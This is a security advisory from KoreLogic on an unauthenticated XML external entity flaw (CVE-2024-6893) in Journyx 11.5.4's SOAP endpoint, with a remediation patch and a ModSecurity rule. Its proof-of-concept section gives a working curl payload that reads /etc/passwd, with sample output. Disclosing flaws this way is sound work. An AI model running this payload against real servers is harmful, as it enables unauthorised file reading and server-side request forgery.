Share
## https://sploitus.com/exploit?id=PACKETSTORM:180005
KL-001-2024-010: Journyx Unauthenticated XML External Entities Injection  
  
Title: Journyx Unauthenticated XML External Entities Injection  
Advisory ID: KL-001-2024-010  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-010.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Journyx  
Affected Product: Journyx (jtime)  
Affected Version: 11.5.4  
Platform: GNU/Linux  
CWE Classification: CWE-611: Improper Restriction of XML External Entity  
Reference  
CVE ID: CVE-2024-6893  
  
  
2. Vulnerability Description  
  
The "soap_cgi.pyc" API handler allows the XML body of  
SOAP requests to contain references to external entities.  
This allows an unauthenticated attacker to read local files,  
perform server-side request forgery, and overwhelm the web  
server resources.  
  
  
3. Technical Description  
  
From an unauthenticated perspective, a user can send an HTTP  
request to the "/jtcgi/soap_cgi.pyc" endpoint. The body of the  
HTTP request is read and processed by the Journyx web server  
as XML.  
  
To process these SOAP requests, the third-party component  
"SOAPpy" is used. The built-in XML parser for "SOAPpy"  
is "xml.sax". According to the "xml.sax" documentation  
(https://docs.python.org/3/library/xml.sax.html), versions  
before 3.7.1 enable XML external entities by default. Since  
Journyx version 11.5.4 ships with python 3.6, the SOAP API  
endpoint is vulnerable.  
  
  
4. Mitigation and Remediation Recommendation  
  
The vendor reports that this issue was remediated in Journyx  
v13.0.0, which is the first wholly cloud-hosted version of  
this product.  
  
For self-hosted versions of Journyx, external entity processing  
can be disabled by editing the old bundled version of SOAPpy by  
modifying the "Parser.py" file:  
  
--- Parser.py.orig 2018-11-27 17:26:53.000000000 -0500  
+++ Parser.py 2024-06-18 10:56:01.993019226 -0400  
@@ -1036,6 +1036,10 @@  
# turn on namespace mangeling  
parser.setFeature(xml.sax.handler.feature_namespaces, 1)  
  
+ # Disallow external entities, prevent XXE  
+ parser.setFeature(xml.sax.handler.feature_external_ges, 0)  
+ parser.setFeature(xml.sax.handler.feature_external_pes, 0)  
+  
try:  
parser.parse(inpsrc)  
except xml.sax.SAXParseException as e:  
  
Additionally, if API access is not required, requests to  
/jtcgi/soap_cgi.pyc could be dropped without forwarding to FastCGI  
via a ModSecurity rule like the one below:  
  
SecRule REQUEST_URI "@contains soap_cgi" "id:1,phase:2,deny,log,auditlog"  
  
  
5. Credit  
  
This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.  
  
  
6. Disclosure Timeline  
  
2024.01.31 - KoreLogic notifies Journyx support of the intention to  
report vulnerabilities discovered in the licensed,  
on-premises version of the product.  
2024.01.31 - Journyx acknowledges receipt.  
2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
vulnerability details.  
2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
2024.02.09 - Journyx responds that this vulnerability has been remediated  
in the cloud-hosted version of the product.  
2024.02.21 - KoreLogic offers to test the cloud version to confirm  
the fix; no response.  
2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
2024.07.09 - Journyx confirms version number of the remediation.  
2024.08.07 - KoreLogic public disclosure.  
  
  
7. Proof of Concept  
  
The "changeUserPassword" SOAP method will reflect the  
"username" parameter in the HTTP response if the given  
username does not exist in the Journyx database. This  
makes exploitation straight forward, as an external  
entity can be used as the value of "username" and the  
dynamic value of the entity is reflected in the page  
response.  
  
[attacker@box]$ python xxe.py --host redacted.com --port 8080  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
...  
[attacker@box]$  
  
  
[attacker@box]$ HOST='redacted.com'; PORT='8080'; PAYLOAD_TARGET='file:///etc/passwd'; \  
curl -X POST --data-binary '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM   
"'$PAYLOAD_TARGET'">]><soapenv:Envelope   
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>'   
\  
-s "http://$HOST:$PORT/jtcgi/soap_cgi.pyc" | awk '/incorrect or invalid password for user   
/{flag=1;next}/<\/faultstring>/{flag=0}flag'  
  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
...  
[attacker@box]$  
  
  
The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy